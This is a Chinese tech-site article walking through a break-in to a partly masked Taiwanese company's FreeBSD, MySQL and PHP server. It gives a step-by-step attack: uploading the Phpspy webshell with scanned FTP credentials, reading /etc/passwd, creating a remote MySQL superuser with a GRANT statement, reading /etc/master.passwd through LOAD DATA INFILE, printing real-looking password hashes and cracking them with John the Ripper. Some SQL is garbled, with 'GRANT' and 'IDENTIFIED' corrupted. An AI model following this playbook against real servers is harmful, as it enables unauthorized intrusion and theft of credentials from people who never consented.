扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
目前针对Windows+MSSQL或Windows+MYSQL的系统,在入侵方面的文章可算不少,大多通过脚本漏洞上传WebShell,通过Serv-U提升权限,再通过PcAnyWhere或终端连接器远程连接。就系统而言,大陆用Windows的比较多,港台和国外很多服务器都是用的Unix、Linux或FreeBSD系统。本文就是针对的FreeBSD+MYSQL+PHP系统,结合一个具体实例,讲解了一下入侵思路。其实作者的运气不错,遇到了一个大意的管理员——有多少服务器管理员是这样大意的呢?
MYSQL:入侵FreeBSD的桥梁
面对一个PHP网站的时候,我的个人习惯是先看看有没有PHP注入漏洞,然后再看是否存在整站漏洞,如Discuz!漏洞,PHPbb执行命令漏洞等等。如果存在的话,可以利用它们上传Webshell,如不存在的话在看看有没有其它的系统漏洞。这次遇上的是台湾某网络工司的服务器,页面很简洁,注入漏洞、脚本漏洞都不存在,无奈之下拿出红客联盟的HScan v1.20,大概扫描一下看看。扫描结果图所示。
运气真不错,扫出一个FTP用户名和密码来,服务器还开了22(SSH),3306(MYSQL)两个重要端口。FTP登录,然后找一个可以上传的WEB目录上传Phpspy.php,如图3所示。
在浏览器里输入http://211.***.***.91/e***u/lib/phpspy.php,进入Phpspy.php的 “WebShell模式”键入命令:id //查看当前用户:
uid=65534(nobody) gid=65533(nogroup) groups=65533(nogroup)
键入命令:uname –a //查看系统:
FreeBSD www.e******u.com 4.3-STABLE FreeBSD 4.3-STABLE #0: Fri May 25 11:10:00 CST 2001 Root@www.e******u.com:/home/usr/src/sys/compile/GENERIC i386
键入命令:cat /etc/passwd //读取密码档
# $FreeBSD: src/etc/master.passwd,v 1.25 1999/09/13 17:09:07 peter Exp $
#
Root:*:0:0:Charlie &:/Root:/bin/csh
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
mysql:*:88:88:MySQL Daemon:/home/db/mysql:/sbin/nologin
www:*:2000:2000:WWW Administrator:/home/www/main:/bin/tcsh
chat:*:2001:2000:Chat Administrator:/home/www/chat:/bin/tcsh
game:*:2002:2000:Game Administrator:/home/www/game:/bin/tcsh
elife:*:2003:2000:eLife Administrator:/home/www/elife:/bin/tcsh
game-tnid:*:1005:0:game-tnid:/home/game-tnid:/bin/tcsh
cyc:*:1010:0:cyc:/home/cyc:/bin/tcsh
webadm:*:1012:1012:webadm:/home/webadm:/bin/tcsh
funker:*:1014:1014:funker:/home/funker:/bin/tcsh
小提示:FreeBSD的密码加密后存放在/etc/master.passwd文件下,而不像Unix 一样存放在/etc/shadow文件下,而且此文件只有Root用户可以读。
通过文件Globalvar.inc读取数据库信息如下:
$ethink4u_db = "web123"; // database info
$ethink4u_db_user = "Root";
$ethink4u_db_passwd = "";
$ethink4u_db_host = "localhost";
进入Phpspy.php的“SQL的查询”页面,连接数据库,连接的数据名不是上面的“web123”而是“mysql”,连接成功后,输入如下命令:
GRAWindows ALL PRIVILEGES ON *.* TO system@’%’IDEWindowsIFIED BY ’askyou’ WITH GRAWindows OPTION
一个远程的具有Root权限的用户“system”,密码为:“askyou”就建成了!这样就可以通过牛族MYSQL连接器远程连接,整个数据库的生杀大权就掌握在你的手中了!
连接后执行如下命令来读取/etc/master.passwd:
user mysql; //打开数据库mysql
create table yongge(str TEXT); //创建表yongge
load data infile “//etc//master.passwd” into table yongge;把文件master.passwd读到表中
seletc * from yongge into outfile “//tmp//passwd”;把表中内容输出到passwd文件中
drop table yongge; 删除表
马上查看/tmp/passwd文件的内容,怎么是空的?估计我拥有这的个Root权限只是对数据有最大限权,可以任意操纵数据库,而非系统的Root。
换一种思路吧!我们给它上传一个PhpMyAdmin-2[1].6.0-pl3.zip,也可以利用Wget命令下载下一个:“Wget [options] [URL-list]”,然后利用 Unzip命令解压(MS Windows下的压缩软件Winzip压缩的文件可以用Unzip命令,该命令用于解扩展名为.zip的压缩文件)。
小知识:Wget的参数较多,但大部分应用只需要如下几个常用的参数:
-r 递归;对于HTTP主机,Wget首先下载URL指定的文件,然后(如果该文件是一个HTML文档的话)递归下载该文件所引用(超级连接)的所有文件(递归深度由参数-l指定)。对FTP主机,该参数意味着要下载URL指定的目录中的所有文件,递归方法与HTTP主机类似。
-N 时间戳:该参数指定Wget只下载更新的文件,也就是说,与本地目录中的对应文件的长度和最后修改日期一样的文件将不被下载。
-m 镜像:相当于同时使用-r和-N参数。
-l 设置递归级数;默认为5。-l1相当于不递归;-l0为无穷递归;注意,当递归深度增加时,文件数量将呈指数级增长。
-t 设置重试次数。当连接中断(或超时)时,Wget将试图重新连接。如果指定-t0,则重试次数设为无穷多。
-c 指定断点续传功能。实际上,Wget默认具有断点续传功能,只有当你使用别的FTP工具下载了某一文件的一部分,并希望Wget接着完成此工作的时候,才需要指定此参数。
小知识:Unzip命令语法:unzip [选项] 压缩文件名.zip。各选项的含义分别为:
-x 文件列表:解压缩文件,但不包括指定的File文件。
-v 查看压缩文件目录,但不解压。
-t 测试文件有无损坏,但不解压。
-d 目录:把压缩文件解到指定目录下。
-z 只显示压缩文件的注解。
-n 不覆盖已经存在的文件。
-o 覆盖已存在的文件且不要求用户确认。
-j 不重建文档的目录结构,把所有文件解压到同一目录下。
得到PhpMyAdmin后,再修改文件Config.inc.php的变量,修改成如下格式:
$cfg[’Servers’][$i][’user’]= ’Root’; // MySQL user
$cfg[’Servers’][$i][’password’] = ’’; // MySQL password在游览器里输入http://211.***.***.91/e***u/lib/phpMyAdmin-2.6.0-pl3/index.php就可以通过Phpmyadmin管理整个数据库了!然后进入Phpspy的WebShell模式,输入命令如下:
locate passwd
/etc/master.passwd
/etc/passwd
/home/game-tnid/game0131/adm/passwd
/home/game-tnid/gameDemoCopyFrom_game0131/adm/passwd
/home/usr/src/etc/master.passwd
/home/usr/src/release/picobsd/floppy.tree/etc/master.passwd
/home/usr/src/usr.bin/passwd
/home/www/chat/adm/passwd
/home/www/chat.old91/adm/passwd
/home/www/cycgame/idot.20030320/coop_adm/passwd
/home/www/game/game.0727/adm/passwd
/home/www/main/DBabcd/passwd
/home/www/main/ethink4u/hotnews/admin/passwd
/mirror/etc/master.passwd
/mirror/etc/passwd
/usr/bin/passwd查看它们内容后整理密码档如下:
Root:$1$xOOaGnKU$U9QdsCI40XXcCUMBN.7Az.:0:0::0:0:Charlie &:/Root:/bin/sh
funker:Hk3kVaBMnSZ2s
chat:Ecu/FE6CVZKME
game-tnid:EfyN8aw51ADXw
game:h2J9eAOTG4INA
cyc:6z3daN06RdVeU
利用工具JOHN可以破解以上密码档。它的命令行方式:john [-功能选项] [密码文件名]。现在开始进行解密步骤:
先消灭FOOL USER,就是“笨蛋用户”:john -single shadow.txt;
再消灭稍微聪明一点的用户:john -wordfile:password.lst -rules shadow.txt;
最后进行大屠杀:john -i:all shadow.txt(当然,第三步可能要你的电脑跑上10000年)。
因为服务器开了22端口,利用工具Eric’s Telnet 98 V8.4-SSH (http://www2.skycn.com/soft/1157.html)就可以远程登录上去了。
小提示:22端口的SSH是Secure SHell的缩写,它是一个用来替代Telnet、FTP以及R命令的工具包,主要是想解决口令在网上明文传输的问题。
整个过程中运气真的很不错,后来Funker,cyc这两个用户的密码我利用一台P4+256DDR的机器,跑了两天也跑出来了,www的用户名密码和FTP相同(不知道是不是巧合)。通常的方法是找一个Exploit,然后利用GCC命令编译后运行并提升权限,这里就不继续讨论了。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者